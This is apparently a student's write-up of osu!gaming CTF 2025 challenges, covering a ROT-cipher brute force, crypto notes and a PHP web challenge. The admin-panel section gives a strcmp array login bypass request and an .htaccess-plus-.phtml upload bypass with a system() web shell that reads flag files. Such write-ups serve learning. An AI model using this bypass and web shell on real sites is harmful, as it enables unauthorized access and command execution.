osu!gaming CTF 2025 Writeups

So recently I participate in osu!gaming CTF 2025 with my IT Security Club on university, me as president have to force everyone get on this special CTF (yes, we train whole year just for this CTF). But one of our strongest member Khavid move on with #MogamiShizuka team!

So, this CTF is big and crazy stuff happened, even I’m a 6 years osu! player still didn’t know some of trivial stuff of osu!

Crypto#

Rot727#

It just another custom Rot13 encryption system, so I pull out my old code from CTF 2024 (I forgot its name)

1
def rot_cipher_concise(txt, shift):
2
    """Encrypts/decrypts text using a ROT cipher with any shift."""
3
    res = []
4
    effective_shift = shift % 26
5
    for char in txt:
6
        if 'A' <= char <= 'Z':
7
            new_ord = (ord(char) - ord('A') + effective_shift) % 26 + ord('A')
8
            res.append(chr(new_ord))
9
        elif 'a' <= char <= 'z':
10
            new_ord = (ord(char) - ord('a') + effective_shift) % 26 + ord('a')
11
            res.append(chr(new_ord))
12
        else:
13
            res.append(char)
14

15
    return "".join(res)
16

17
i = 1
18
while True:
19
    tmp = rot_cipher_concise("aeg{at_imuf_nussqd_zgynqd_paqezf_yqmz_yadq_eqogdq}", shift=i)
20
    print(tmp)
21
    if "osu" in tmp:
22
        break
23
    i = i + 1

Got osu{oh_wait_bigger_number_doesnt_mean_more_secure} at 13

linear-feedback#

This actually just ChatGPT stuff

discord chat

pls-nominate#

Very basic implementation of Hastad’s Broadcast Attack

osu{pr3tty_pl3453_w1th_4_ch3rry_0n_t0p!?}

Web#

admin-panel#

First look at this challenges, I thought it is Path Traversal stuff because the /flag.txt is outside from /var/www/html

But when I tried on login, I noticed that the password for user peppy is random so no way you can guess it!

1
<?php
2
    session_start();
3
    $admin_password = bin2hex(random_bytes(16));
4

5
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
6
        $username = $_POST["username"];
7
        $password = $_POST["password"];
8

9
        if ($username == "peppy" && strcmp($admin_password, $password) == 0) {
10
            $_SESSION["logged_in"] = true;
11
            header("Location: admin.php");
12
            exit();
13
        }
14
    }
15

16
    header("Location: index.php");
17
?>

But WAIT,

There’s a vulnerability at strcmp($admin_password, $password) == 0. Based on the manual page PHP’s strcmp. This is case sensitive and binary safe string compare function, but the way it acted is extremely unpredictable (based on comment at bottom of page)!

Which I can set the password to array based on this blog talking about vulnerability of strcmp

1
POST /login.php HTTP/2
2
Host: admin-panel-72179d733c64.instancer.sekai.team
3
Content-Length: 27
4
Cache-Control: max-age=0
5
Origin: https://admin-panel-72179d733c64.instancer.sekai.team
6
Content-Type: application/x-www-form-urlencoded
7
Upgrade-Insecure-Requests: 1
8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10
Referer: https://admin-panel-72179d733c64.instancer.sekai.team/
11
Accept-Encoding: gzip, deflate, br
12
Priority: u=0, i
13

14
username=peppy&password[]=

Break the first wall!

Move on to next file admin.php, we see that we can send a file to server but cannot have php in filename or file content. This is extremely bad practice because user can send file .phtml to the server!

1
<?php
2
  session_start();
3
  if (!isset($_SESSION["logged_in"])) {
4
    header("Location: index.php");
5
    exit();
6
  }
7

8
  if ($_SERVER["REQUEST_METHOD"] == "POST") {
9
    if (isset($_FILES["file"])) {
10
      $file = $_FILES["file"];
11
      $filename = $file["name"];
12
      $contents = file_get_contents($file["tmp_name"]);
13

14
      if (stripos($filename, ".php") !== false) {
15
        echo "<h1>file is not allowed</h1>";
16
      }
17
      else if (stripos($contents, "<?php") !== false) {
18
        echo "<h1>file has unsafe contents</h1>";
19
      }
20
      else {
21
        move_uploaded_file($file["tmp_name"], "./uploads/" . $filename);
22
        header("Location: /uploads/" . $filename);
23
      }
24
      die();
25
    }
26
  }
27
?>

Here we create 2 files, .htaccess and phtml, .htaccess will force .phtml to be parsed as PHP file. While the file .phtml we use the shorthand php notation <?= to bypass <?php!

1
# file .htaccess
2
echo 'AddHandler application/x-httpd-php .phtml' > .htaccess
3

4
# file shell2.phtml
5
echo '<?=system("cat /flag || cat /flag.txt || cat /root/flag || cat /home/ctf/flag");?>' > shell2.phtml

Upload 2 files to server then access /uploads/shell2.phtml to get the flag!

osu{php_is_too_3asy}

Rhythm / Pulsus#

I think this is a web challenge, not rhythm stuff bruh?

I was simply turn on my burp suite, access to Pulsus and find the Quintecc account because the challenge description told so?

While I found Quintec#452 account, it take a while to figure it out it was in Websocket.

burp suite

osu{pl4y_pul5u5_e6234bd516f}